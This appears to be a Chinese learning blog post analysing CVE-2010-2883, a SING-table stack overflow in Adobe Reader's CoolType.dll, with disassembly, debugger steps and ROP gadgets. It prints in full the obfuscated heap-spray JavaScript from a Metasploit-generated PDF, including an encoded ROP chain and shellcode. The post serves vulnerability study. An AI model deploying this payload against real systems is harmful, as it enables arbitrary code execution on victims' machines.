漏洞介绍
CVE-2010-2883 是 Adobe 公司 PDF 相关工具(Adobe Reader 和 Adobe Acrobat)的一个漏洞,针对所有 9.4 以前(9.x)、8.2.5 以前(8.x)的 Windows 和 Mac OS X。攻击者利用内嵌带有字段过长的 Smart INdependent Glyphlets(SING)表的 TTF 字体的 PDF 文件,可执行任意远程代码或者导致拒绝服务(程序崩溃)。
环境配置
项目 |
名称 |
虚拟机 |
virtualbox 6.1.2 |
系统 |
Win XP SP3 x86 zh-cn |
分析工具 |
IDA Pro 7.3 |
调试工具 |
OllyDbg |
Adobe Reader |
9.3.3 EN |
Metasploit |
5.0.70 |
漏洞分析
刚刚接触漏洞分析,基本可以说是摸着石头过河。参考了许多大佬的文章和博客,能尽量深入一点就更加深入,于是就有了这篇文章,来督促自己学习。
分析方法是静态分析 + 动态调试。
漏洞定位
漏洞成因是栈溢出,位于模块 CoolType.dll 中,解析 SING 表中的 uniqueName 未判断其长度,直接使用 strcat 来拷贝其到栈缓冲区中导致溢出。
使用《漏洞战争》上介绍的方法,利用定位"SING"字符串来寻找漏洞位置,在 IDA Pro 中按 Alt+T 搜索字符串。

根据结果可见有许多指令或者数据使用或者包含该字符串。在 rdata 段中可见字符串常量 “SING”,双击跳转到该地址。在该地址处按 Ctrl+X 可查看所有使用该字符串的指令。


经过与网上和书中的代码片段进行对比,可知函数 sub_803DCC4 即为存在漏洞的函数,地址 0x0803DD76 处调用了 strcat 函数,造成了缓冲区溢出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
.text:0803DD3F push offset aSing ; "SING"
.text:0803DD44 push edi ; int
.text:0803DD45 lea ecx, [ebp+108h+var_12C]
.text:0803DD48 call sub_8021ACE
.text:0803DD4D mov eax, [ebp+108h+var_12C]
.text:0803DD50 cmp eax, esi
.text:0803DD52 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD56 jz short loc_803DD8F
.text:0803DD58 mov ecx, [eax]
.text:0803DD5A and ecx, 0FFFFh
.text:0803DD60 jz short loc_803DD6A
.text:0803DD62 cmp ecx, 100h
.text:0803DD68 jnz short loc_803DD8B
.text:0803DD6A
.text:0803DD6A loc_803DD6A: ; CODE XREF: sub_803DCC4+9C↑j
.text:0803DD6A add eax, 10h
.text:0803DD6D push eax ; Source
.text:0803DD6E lea eax, [ebp+108h+Destination]
.text:0803DD71 push eax ; Destination
.text:0803DD72 mov [ebp+108h+Destination], 0
.text:0803DD76 call strcat
|
PDF 文件分析
首先使用 Metasploit 来生成恶意样本 msf.pdf。

使用 PDF 分析工具 PdfStreamDumper 打开 msf.pdf,可以查看其中的流。可以发现第10个流中含有SING字符串,将该流另存为后缀为 ttf 的文件。

接着使用 010Editor 分析得到的 ttf 文件,tTable数组的底15项即为SING表。其Tag为"SING"。

SING 表 Entry 结构
1
2
3
4
5
6
7
|
typedef sturct SING
{
char tag[4]; //"SING"
ULONG checkSum; //校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度
} TableEntry;
|
SING 相对于文件起始处的偏移为 0x11C,查看此处。此处之后 0x10 偏移处为 uniqueName 字段。本来正常的 uniqueName 为28字节且以 “\x00” 结尾,但此处的 uniqueName 直到下一个"\x00"截断足足有574字节(包括截断的 “\x00”)。
调试漏洞
继续分析,启动 Adobe Reader 后打开 OllyDbg,attach到该进程。在地址 0x0803DD6A 处按F2下断点(或者有Command插件的话,输入 bp 0x0803DD6A)。执行到 strcat 时可在栈窗口内看到函数的参数,即 src 和 dest,此时在数据窗口中跟踪 dest 地址 0x12F3D8。

执行 strcat,也验证了确实写入了574个字节,从 0x12F3D8 到 0x12E716。

按照常理,栈溢出的利用是覆盖函数保存的返回地址,利用shellcode或者ROP技术劫持执行流执行期望的指令片段。此时按 Ctrl+F9 执行到返回,程序会直接跑飞,直接弹出计算器结束。可见正确的利用姿势并不是这样的。
仔细查看,写入的地址要比当前的EBP地址高,说明写入的并不是当前函数的栈帧,而当前的函数还没执行到 Ret 就执行了 shellcode,结合网上的分析帖子,可知覆盖的缓冲区中保存了函数指针,从而进行ROP。
经过多次调试,运行到 0x0808B2CD 时跳到ROP,此时EAX对应的地址即为被修改的函数指针。跟踪ROP,经过两个Ret跳转到地址 0x0c0c0c0c 中。

两次 Ret 如下:
1
2
3
|
4A80CB38 81C5 94070000 add ebp,0x794
4A80CB3E C9 leave
4A80CB3F C3 retn
|
1
2
|
4A8063A5 59 pop ecx ; icucnv36.4A8063A5
4A8063A6 C3 retn
|

PDF 中可以嵌入 Javascript 代码。通常浏览器或PDF阅读器之类的中运行的JS权限非常低,能做的操作很有限,这些JS代码只是用来传递 Payload,即堆喷射技术,即在某个能预测到的地址处布局shellcode或者大量的NOP指令,进而跳转到该地址执行shellcode。继续分析PDF文件,第12个文件流即为对应的JS代码。
1
2
3
4
5
6
7
8
9
10
11
12
|
var DXvYwqcViuYoYcJPPzdqoKXVWHpXcLzsG = unescape;
var BCxbAzPEUWvNedrnrZSQZgrIflVcgMvhaYaOvnjFuFuiznTzzFotl = DXvYwqcViuYoYcJPPzdqoKXVWHpXcLzsG( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc0da%u74d9%uf424%u0bba%u3cde%u5b40%uc933%u31b1%ueb83%u31fc%u1453%u5303%u3c1f%ubcc9%u42f7%u3d32%u2307%ud8ba%u6336%ua9d8%u5368%ufcaa%u1884%u14fe%u6c1f%u1bd7%udba8%u1501%u7729%u3471%u8aa9%u96a6%u4490%ud7bb%ub9d5%u8536%ub68e%u3ae5%u83bb%ub035%u02f7%u253e%u244f%uf86f%u7fc4%ufaaf%uf409%ue4e6%u314e%u9fb0%ucda4%u7643%u2ef5%ub7ef%udd3a%uf0f1%u3efc%u0884%uc3ff%uce9f%u1f82%ud515%ueb24%u318d%u38d5%ub14b%uf5d9%u9d1f%u08fd%u95f3%u81f9%u79f2%ud288%u5dd0%u81d1%uc779%u64bf%u1785%ud860%u5323%u0d8c%u3e5e%ud0da%u44ec%ud3a8%u46ee%ubb9c%ucddf%ubb73%u07df%u3330%u0aaa%udc10%udf73%u8121%u3583%ubc65%ubc07%u3b15%ub517%u0710%u259f%u1868%u4a4a%u19df%u295f%u89be%u8003%u2a25%udca1' );
var GOWBPNzojlETJrdymOLibbwGRrlKkllMwHbdawLhCKUIWzYBMHnjxZWbXKKd = DXvYwqcViuYoYcJPPzdqoKXVWHpXcLzsG( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (GOWBPNzojlETJrdymOLibbwGRrlKkllMwHbdawLhCKUIWzYBMHnjxZWbXKKd.length + 20 + 8 < 65536) GOWBPNzojlETJrdymOLibbwGRrlKkllMwHbdawLhCKUIWzYBMHnjxZWbXKKd+=GOWBPNzojlETJrdymOLibbwGRrlKkllMwHbdawLhCKUIWzYBMHnjxZWbXKKd;
xe = GOWBPNzojlETJrdymOLibbwGRrlKkllMwHbdawLhCKUIWzYBMHnjxZWbXKKd.substring(0, (0x0c0c-0x24)/2);
xe += BCxbAzPEUWvNedrnrZSQZgrIflVcgMvhaYaOvnjFuFuiznTzzFotl;
xe += GOWBPNzojlETJrdymOLibbwGRrlKkllMwHbdawLhCKUIWzYBMHnjxZWbXKKd;
SJycUwGqxYHQpRqjCDdLkqlbDGHwXCKgJqrPlVFvnYQGLPjGjBrXsyvhGmfDf = xe.substring(0, 65536/2);
while(SJycUwGqxYHQpRqjCDdLkqlbDGHwXCKgJqrPlVFvnYQGLPjGjBrXsyvhGmfDf.length < 0x80000) SJycUwGqxYHQpRqjCDdLkqlbDGHwXCKgJqrPlVFvnYQGLPjGjBrXsyvhGmfDf += SJycUwGqxYHQpRqjCDdLkqlbDGHwXCKgJqrPlVFvnYQGLPjGjBrXsyvhGmfDf;
bWYBbXnqONQarDmjoWVjOJ = SJycUwGqxYHQpRqjCDdLkqlbDGHwXCKgJqrPlVFvnYQGLPjGjBrXsyvhGmfDf.substring(0, 0x80000 - (0x1020-0x08) / 2);
var BOKuLyBMbPCzuAwSBOSJnFqVLsjiNaYdNeIzrPURGWWFpFQLwnQHYqWMpSlMdno = new Array();
for (MFrSRsatvuwqfzdyVEFydNVnsVoyiyTfgkygozIxxtwrLzNIpzTO=0;MFrSRsatvuwqfzdyVEFydNVnsVoyiyTfgkygozIxxtwrLzNIpzTO<0x1f0;MFrSRsatvuwqfzdyVEFydNVnsVoyiyTfgkygozIxxtwrLzNIpzTO++) BOKuLyBMbPCzuAwSBOSJnFqVLsjiNaYdNeIzrPURGWWFpFQLwnQHYqWMpSlMdno[MFrSRsatvuwqfzdyVEFydNVnsVoyiyTfgkygozIxxtwrLzNIpzTO]=bWYBbXnqONQarDmjoWVjOJ+"s";
|
限于对堆喷和JS的理解有限,这段JS代码只能分析到这一步。接下来从布局的shellcode继续执行ROP操作,依次调用CreateFileA、CreateFileMappingA、MapViewOfFile,在内存中开辟可读可写的一块区域,再调用memcpy将shellcode复制进去,最后执行。最终的执行结果为弹出一个计算器,分析完毕。

总结
说是分析漏洞,其实感觉很勉强,只能算是跟着《漏洞战争》和网上的帖子做了一次而已。其中有很多原理弄得还不是很明白,以后还需努力。
参考
https://blog.csdn.net/qq_31481187/article/details/74093072
https://www.52pojie.cn/thread-589353-1-1.html
https://zhuanlan.zhihu.com/p/42779645